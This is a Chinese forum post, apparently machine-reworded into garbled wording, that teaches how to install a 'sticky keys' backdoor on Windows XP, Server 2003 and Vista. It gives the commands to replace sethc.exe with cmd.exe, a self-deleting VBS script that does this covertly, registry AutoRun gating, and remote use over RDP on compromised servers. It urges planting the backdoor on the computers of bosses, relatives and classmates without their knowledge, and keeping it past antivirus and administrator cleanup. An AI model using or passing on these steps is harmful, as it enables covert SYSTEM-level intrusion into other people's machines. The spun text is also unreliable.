记得很多年从前,看过一篇忘掉管理员密码之后在本地恢复密码的文章.此中一个办法就是在DOS下用cmd.exe覆盖logon.scr,然后开机进入登录界面,等候非常钟不做任何操作,Windows就会运行默许的屏保,也就是logon.scr,但它此时已经是cmd.exe了,所以登录界眼前会呈现cmd.exe,并且因为是系统运行的,所以我们得到的这个cmdshell就是System权限,这是系统最高权限,普通只能由系统服务获得.操纵这个权限建个管理员账户自然不在话下.我目前仍旧认为这是个很巧妙的办法,因为此法机动操纵了Windows的某些特点,且躲过了Windows 严峻的拜候权限设置.昔时,为了试验这个办法,我曾兴趣勃勃地等候了非常钟.这个办法和下面要介绍的内容有一些相关. 本文要介绍的粘滞键后门(我自己起的名字,有些奇特吧?)是我在网上看到高手的公布后经过自己的实践、创新、改正、考虑而得来的.“粘滞键”是为同时按下两个或更多个键有艰难的人计划的.当快速方法要求利用诸如 CTRL+ P等的组合键时,“粘滞键”答应用户按下改正键(CTRL、ALT或SHIFT)或 Windows徽标键之后,能保持这些键的活动状况直到按下其他键.翻开“帮助功效选项”,在“键盘”选项卡的“粘滞键”项下,选中“利用粘滞键”复选框便可以了. 在Windows 2000/XP/Vista下,按SHIFT键5次,便可以翻开粘滞键,实际上运行的是System32下的sethc.exe,并且在登录界面里也可以翻开.这就让人联想到假如用cmd.exe覆盖sethc.exe,那么在登录界面按SHIFT键5次,我们便可以得到一个System权限的 cmdshell了.下面我们来实战一下. 由于Windows XP的保护机制,全部关键的系统文件都在System32下的dllcache里有备份.假如系统文件被改正了,Windows会即刻将dllcache 里的备份复制过来,所以我们用cmd.exe覆盖sethc.exe之前,一定要将dllcache里的sethc.exe删除或重命名,不然是不会成功的.覆盖文件的时刻,系统会弹出Windows文件保护提醒,不用理它,点击“撤消”就行了.用号令操作就是:
cd %widnir%\system32\dllcache ren sethc.exe *.ex~ cd %widnir%\system32 copy /y cmd.exe sethc.exe
假如不想让操作太明显,可以将以下代码存为VBS脚本,运行后刹时就可以完成全部操作,并且脚本会自删除.
On Error Resume Next Dim obj, success Set obj = CreateObject("WScript.Shell") success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) 然后我们回到登录界面,按SHIFT键5次,公然跳出了cmdshell.我在这里运行了taskmgr.exe,可以看到这个cmdshell的进程sethc.exe是System权限的,用它成立管理员账户当然不在话下了,如图1所示. 图1 实战Vista Windows Vista的安全机制在保存Windows XP SP2和Windows Server 2003已有的重要安全机制上,又增添了很多底层的安全功效.在Windows Vista中,系统将会奉告用户采纳安全和保护隐私的情形,以便让用户得到最为完善的安全保护.所以在Vista中操纵粘滞键后门是与Windows XP和Windows Server 2003中的操纵有辨别的. 一样,在Vista中按SHIFT键5次,也会运行粘滞键,有所差别的是,Vista里没有dllcache这样的文件夹,不存在备份文件,但是假如直接重命名sethc.exe,会有如图2所示的提醒.办理办法是用Administrator(用别的管理员会失利)登录,输入下面两挑号令:
图2
takeown /f c:\windows\system32\sethc.exe cacls c:\windows\system32\sethc.exe /G administrator:F
之后便可以用cmd.exe覆盖sethc.exe了.冲动人心的时刻到了,注销回到登录界面,按SHIFT键5次,跳出了cmdshell,这下粘滞键后门在Vista里也可以大显神威了.如图3所示. 图3
以上介绍的粘滞键后门可以做什么呢?我认为可以操纵它在你能接触到的四周人的(你的上司、部属、亲人、朋友、老师、同学……)Windows XP 、Windows server 2003和Windows Vista里面留一个只有你知道的后门.当主人不在时,你可以神不知鬼不觉、文雅地掌握电脑.当然,这也是有范围性的,前提是你必须可以接触这台电脑.
远程粘滞键后门 这个粘滞键后门的远程用法是我自己发现的.因为我猜想在3389终端里是不是也能调用粘滞键呢?登录我的肉鸡(环境为Windows server 2003 R2)终端一试,公然可以调用,如图4所示,然后就是按照上面介绍的办法操作了.奇特的是,我的肉鸡的备份文件夹为C:\WINDOWS \ServicePackFiles\i386,而不是dllcahe.我也没管那么多,重命名备份文件,覆盖sethc.exe,大功告成. 图4 在终端的登录界面测试了一下,成功!看着登录界眼前面的cmdshell,给人一种奇异的感受.如图5所示,我将“renyuji$”这个账户加到了管理员组. 图5
远程粘滞键与输入法漏洞 假如你是个熟行,一定会联想到很陈腐的输入法漏洞,这个远程的粘滞键后门深得输入法漏洞的精华.当远程主机上有我们的远程粘滞键后门时,无需更多的工具,只需一个mstsc就够了,按下5次SHIFT,输入号令加个管理员,登录,一切都是那么的文雅. 固然这和前面介绍的本地用法有些近似,但由于这是在远程,性质就完好不一样了,这个后门可认为我们供应远程掌握的权限,粘滞键后门的打击面就明显增大了,实用于你的全部3389肉鸡.当我们今后入侵了服务器,无妨留下一个这样的后门,即便管理员发现你留下的木马以及躲藏账户等等,并将其删除,你也没必要耽忧.只要这台机械开了3389,你便可以轻松得到System权限. 远程粘滞键后门的别的一个显而易见的好处就是不被查杀,因为我们操纵的就是微软自带的cmd.exe,杀毒软件也无可何如.这个问题的症结就是:微软答应在未登录的情形下通过热键调用sethc.exe.黑客的艺术在这里被施展到了极致.
为粘滞键后门加入考证 当越来越多的人知道这个后门的时刻,后门也就越来越不坚固了.办理办法有两个,一是采取自己的程序,二是加入考证.关于加入考证,我先来介绍一下后台知识.CMD的语法中有一个“/D”参数,表示从注册表中停用履行AutoRun号令.假如“/D”未在号令行上被指定,当 cmd.exe运行时,它会探求以下REG_SZ/REG_EXPAND_SZ注册表变量.假如此中一个或两个都存在,这两个变量会先被履行.
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
按照以上的介绍,我们可以增添以下键值:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor] "AutoRun"="c:\1.bat"
这样一来,当运行cmd之前,就一定要运行我们的考证脚本,途径为c:\1.bat.网上有高手给出了考证代码,实现的功效为:生成随机考证码,假如用户输入考证码,则到事前设置好的服务器去考证,假如用户输入持续的两个考证码,则要求用户输入密码,密码精确的话便可以用cmd了,如图6所示.实现这个功效,我们只需将以下考证代码存为bat文件便可. 图6
@Echo Off title 后门登录考证 color a cls set temprandom=%RANDOM% rem 后门服务器考证 rem 假如没有后门考证服务器请rem注释掉下一行代码 if exist \192.168.8.8\backdoor$\pass goto passcheck ) echo 考证失利 pause exit :passcheck echo 考证成功 If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx Set passcmdlock=http://blog.csdn.net/freexploit/ :allyesno Set Errorlevel=>nul Echo 请输入考证密码? Set password=allyesno Is a pig>nul Set/p password= rem 万能密码 if "%password%"=="这里填入万能密码" goto endx If %time:~1,1%==0 Set timechange=a If %time:~1,1%==1 Set timechange=b If %time:~1,1%==2 Set timechange=c If %time:~1,1%==3 Set timechange=d If %time:~1,1%==4 Set timechange=e If %time:~1,1%==5 Set timechange=f If %time:~1,1%==6 Set timechange=g If %time:~1,1%==7 Set timechange=h If %time:~1,1%==8 Set timechange=i If %time:~1,1%==9 Set timechange=j set/a sum=%time:~1,1%+%time:~1,1% Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul If "%errorlevel%"=="0" cls&Echo 口令精确&Goto End Echo 请接洽瑞星客服咨询精确密码!&Goto allyesno rem 以上这句我认为是作者用来迷惑人的,假装成瑞星骗过误运行cmd的菜鸟 :End Set password=>nul Set Errorlevel=>nul :endx
此法的缺陷也是显而易见的,那就是全部要用cmd的人都要经过考证,但也不失为一种考证的办法. |
Powered by Discuz! X3.4
© 2001-2023 Discuz! Team.